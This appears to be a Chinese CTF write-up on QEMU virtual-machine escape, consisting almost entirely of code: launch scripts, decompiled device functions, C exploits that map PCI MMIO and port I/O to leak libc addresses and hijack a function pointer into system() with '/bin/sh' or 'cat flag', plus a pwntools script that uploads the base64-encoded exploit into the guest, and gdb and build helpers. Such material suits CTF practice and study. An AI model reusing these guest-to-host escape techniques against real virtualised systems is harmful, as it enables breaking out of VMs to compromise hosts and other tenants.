[VMPwn] 老头初探 QEMU 逃逸

❯ cat bin/launch.sh
#!/bin/sh
./qemu-system-x86_64 \
    -m 64M --nographic \
    -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "console=ttyS0 root=/dev/ram oops=panic panic=1" \
    -monitor /dev/null \
    -device vn,id=vda

void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
  PCIDeviceClass *v2; // rax

  v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
                           a1,
                           (const char *)&stru_64A230.bulk_in_pending[2].data[72],
                           (const char *)&stru_5AB2C8.msi_vectors,
                           469,
                           "hitb_class_init");
  v2->revision = 16;
  v2->class_id = 255;
  v2->realize = pci_hitb_realize;
  v2->exit = pci_hitb_uninit;
  v2->vendor_id = 4660;
  v2->device_id = 0x2333;
}

void __fastcall pci_hitb_realize(HitbState *pdev, Error_0 **errp)
{
  pdev->pdev.config[61] = 1;
  if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
  {
    timer_init_tl(&pdev->dma_timer, main_loop_tlg.tl[1], 1000000, (QEMUTimerCB *)hitb_dma_timer, pdev);
    qemu_mutex_init(&pdev->thr_mutex);
    qemu_cond_init(&pdev->thr_cond);
    qemu_thread_create(&pdev->thread, (const char *)&stru_5AB2C8.not_legacy_32bit + 12, hitb_fact_thread, pdev, 0);
    memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);
    pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
  }
}

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    mmio_read(0x100);
    mmio_write(0x100, 1337);
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
  perror(msg);
  exit(-1);
}
uint64_t mmio_read(uint64_t addr)
{
  return *((uint64_t *)(mmio_mem + addr));
}
void mmio_write(uint64_t addr, uint64_t value)
{
  *((uint64_t *)(mmio_mem + addr)) = value;
}
int main()
{
  int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR
| O_SYNC);
  if (mmio_fd == -1)
    die("mmio_fd open failed");
  mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0);
  if (mmio_mem == MAP_FAILED)
    die("mmap mmio_mem failed");
  mmio_read(0x1f0000);
  mmio_write(0x100000, 1);
  mmio_write(0x2f0000, 1);

  return 0;
}

from pwn import *
import time, os

# p = process('./run.sh')
r = remote("localhost", 9999)
output_name = './exp'

# musl-gcc -w -s -static -o3 exp.c -o exp


# p = process(['./qemu-system-x86_64', '-m', '512M', '-kernel', './vmlinuz', '-initrd', './core.cpio', '-L', 'pc-bios', '-monitor', '/dev/null', '-append', "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr", '-cpu', 'kvm64,+smep', '-smp', 'cores=2,threads=1', '-device', 'ccb-dev-pci', '-nographic'])
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

def exec_cmd(cmd: bytes):
    r.sendline(cmd)
    r.recvuntil(b"/ # ")

def upload():
    p = log.progress("Uploading...")

    with open(output_name, "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    r.recvuntil(b"/ # ")

    for i in range(0, len(encoded), 500):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd(b"echo \"%s\" >> benc" % (encoded[i:i+500]))

    exec_cmd(b"cat benc | base64 -d > bout")
    exec_cmd(b"chmod +x bout")

    p.success()
upload()
context.log_level='debug'
# r.sendlineafter("/ #", "./bout")
r.interactive()

root@98f8c96b09be:/home/ctf# cat run.sh
#!/bin/sh
./qemu-system-x86_64 \
    -m 512M \
    -kernel ./vmlinuz \
    -initrd  ./core.cpio \
    -L pc-bios \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -device ccb-dev-pci \
    -nographic

#!/bin/bash

if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <source_file> <destination_directory>"
    exit 1
fi

SOURCE_FILE="$1"
DESTINATION_DIR="$2"

if [ ! -f "$SOURCE_FILE" ]; then
    echo "Error: Source file '$SOURCE_FILE' does not exist."
    exit 1
fi

if [ ! -d "$DESTINATION_DIR" ]; then
    mkdir -p "$DESTINATION_DIR"
fi

ldd "$SOURCE_FILE" 2>/dev/null | awk '
    /=> \// && !/linux-vdso/ { print $3 }
    /^\// && !/linux-vdso/ { print $1 }
' | while read -r DEPENDENCY; do
    if [ -f "$DEPENDENCY" ]; then
        REALPATH=$(realpath "$DEPENDENCY")
        cp -v "$REALPATH" "$DESTINATION_DIR/$(basename "$DEPENDENCY")"
    else
        echo "Warning: Dependency '$DEPENDENCY' not found."
    fi
done
echo "All dependencies copied to '$DESTINATION_DIR'."

mmio_write(0, 0x11);
mmio_read(4);
printf("mmio_read(4) = 0x%x\n", mmio_read(4));

// mmio_read(4) = 0xf4bec140

#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc010;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr,uint32_t value)
{
    *((uint32_t *)(mmio_mem+addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem+addr));
}

void pmio_write(uint32_t addr,uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)(inl(addr));
}

uint32_t pmio_abread(uint32_t offset)
{
    //return the value of (addr >> 2)
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}

void pmio_abwrite(uint32_t offset,uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

int main()
{
// Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    mmio_write(0, 0x11);
    uint64_t libc_base = mmio_read(4);
    mmio_write(0, 0x12);
    libc_base |= ((uint64_t)mmio_read(4)) << 32;
    libc_base -= 0x65140;

    printf("libc_base = 0x%lx\n", libc_base);

    uint64_t system = libc_base + 0x403860;
    uint64_t binsh = libc_base + 0x1b3d88;

    printf("system = 0x%lx\n", system);
    printf("binsh = 0x%lx\n", binsh);

    mmio_write(4, system >> 32);
    mmio_write(0, 0x11);
    mmio_write(4, system & 0xffffffff);

    mmio_write(0, 0x13);
    mmio_write(4, binsh & 0xffffffff);
    mmio_write(0, 0x14);
    mmio_write(4, binsh >> 32);

    mmio_write(0xc, 0);




    return 0;
}

#!/bin/bash

if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <source_file> <destination_directory>"
    exit 1
fi

SOURCE_FILE="$1"
DESTINATION_DIR="$2"

if [ ! -f "$SOURCE_FILE" ]; then
    echo "Error: Source file '$SOURCE_FILE' does not exist."
    exit 1
fi

if [ ! -d "$DESTINATION_DIR" ]; then
    mkdir -p "$DESTINATION_DIR"
fi

ldd "$SOURCE_FILE" 2>/dev/null | awk '
    /=> \// && !/linux-vdso/ { print $3 }
    /^\// && !/linux-vdso/ { print $1 }
' | while read -r DEPENDENCY; do
    if [ -f "$DEPENDENCY" ]; then
        REALPATH=$(realpath "$DEPENDENCY")
        cp -v "$REALPATH" "$DESTINATION_DIR/$(basename "$DEPENDENCY")"
    else
        echo "Warning: Dependency '$DEPENDENCY' not found."
    fi
done
echo "All dependencies copied to '$DESTINATION_DIR'."

from pwn import *
import time, os

# p = process('./run.sh')
r = remote("localhost", 9999)
output_name = './exp'

# p = process(['./qemu-system-x86_64', '-m', '512M', '-kernel', './vmlinuz', '-initrd', './core.cpio', '-L', 'pc-bios', '-monitor', '/dev/null', '-append', "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr", '-cpu', 'kvm64,+smep', '-smp', 'cores=2,threads=1', '-device', 'ccb-dev-pci', '-nographic'])
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

def exec_cmd(cmd: bytes):
    r.sendline(cmd)
    r.recvuntil(b"/ # ")

def upload():
    p = log.progress("Uploading...")

    with open(output_name, "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    r.recvuntil(b"/ # ")

    for i in range(0, len(encoded), 500):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd(b"echo \"%s\" >> benc" % (encoded[i:i+500]))

    exec_cmd(b"cat benc | base64 -d > bout")
    exec_cmd(b"chmod +x bout")

    p.success()
upload()
context.log_level='debug'
# r.sendlineafter("/ #", "./bout")
r.interactive()

#!/bin/sh

musl-gcc -w -s -static -o3 exp.c -o fs/exp
cd fs
compress_fs core.cpio

#!/bin/sh
PID=$(ps -a | grep qemu | awk '{print $1}')

if [ -z "$PID" ]; then
    echo "No qemu process found"
    exit 1
fi

gdb -p $PID -x gdbscript

# b ccb_dev_mmio_read
b *$rebase(0x5798b1)
c

int srand_addr = mmio_read(65<<2);
printf("srand_addr = %x\n", srand_addr);

int main()
{
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}

    pmio_write(0, 65 << 2);
    int srand_addr = pmio_read(4);
    printf("srand_addr = %x\n", srand_addr);

    return 0;
}

srand_addr = a49c7ba0

#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr,uint32_t value)
{
    *((uint32_t *)(mmio_mem+addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem+addr));
}

void pmio_write(uint32_t addr,uint32_t value)
{
    outl(value,pmio_base + addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)(inl(pmio_base + addr));
}

int main()
{
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}

    pmio_write(0, 65 << 2);
    uint32_t low_bits = pmio_read(4);
    pmio_write(0, 66 << 2);
    uint32_t upper_bits = pmio_read(4);
    long long srand_addr = ((long long)upper_bits << 32) | ((long long)low_bits & 0xFFFFFFFF);
    printf("srand_addr = 0x%llx\n", srand_addr);

    long long libc_base = srand_addr - 0x43ba0;
    long long system_addr = libc_base + 0x403860;
    long long binsh_addr = libc_base + 0x1b3d88;
    printf("libc_base = 0x%llx\n", libc_base);
    printf("system_addr = 0x%llx\n", system_addr);
    printf("binsh_addr = 0x%llx\n", binsh_addr);

    // binsh
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem @ %p\n", mmio_mem);

    // system
    pmio_write(0, 69 << 2);
    pmio_write(4, system_addr & 0xFFFFFFFF);
    pmio_write(0, 70 << 2);
    pmio_write(4, (system_addr >> 32) & 0xFFFFFFFF);

    // binsh
    int binsh[2];
    memcpy(binsh, "cat flag", 8);
    mmio_write(2 << 2, binsh[0]);
    mmio_write(3 << 2, binsh[1]);

    // call system
    mmio_write(3 << 2, binsh[1]);

    return 0;
}

#!/bin/sh

sshpass -p "passw0rd" scp -P 5555 /mnt/exp.c ubuntu@localhost:/home/ubuntu/exp.c
sshpass -p "passw0rd" ssh -p 5555 ubuntu@localhost "cd /home/ubuntu && gcc -w -s -static -o3 exp.c -o exp"
sshpass -p "passw0rd" scp -P 5555 ubuntu@localhost:/home/ubuntu/exp .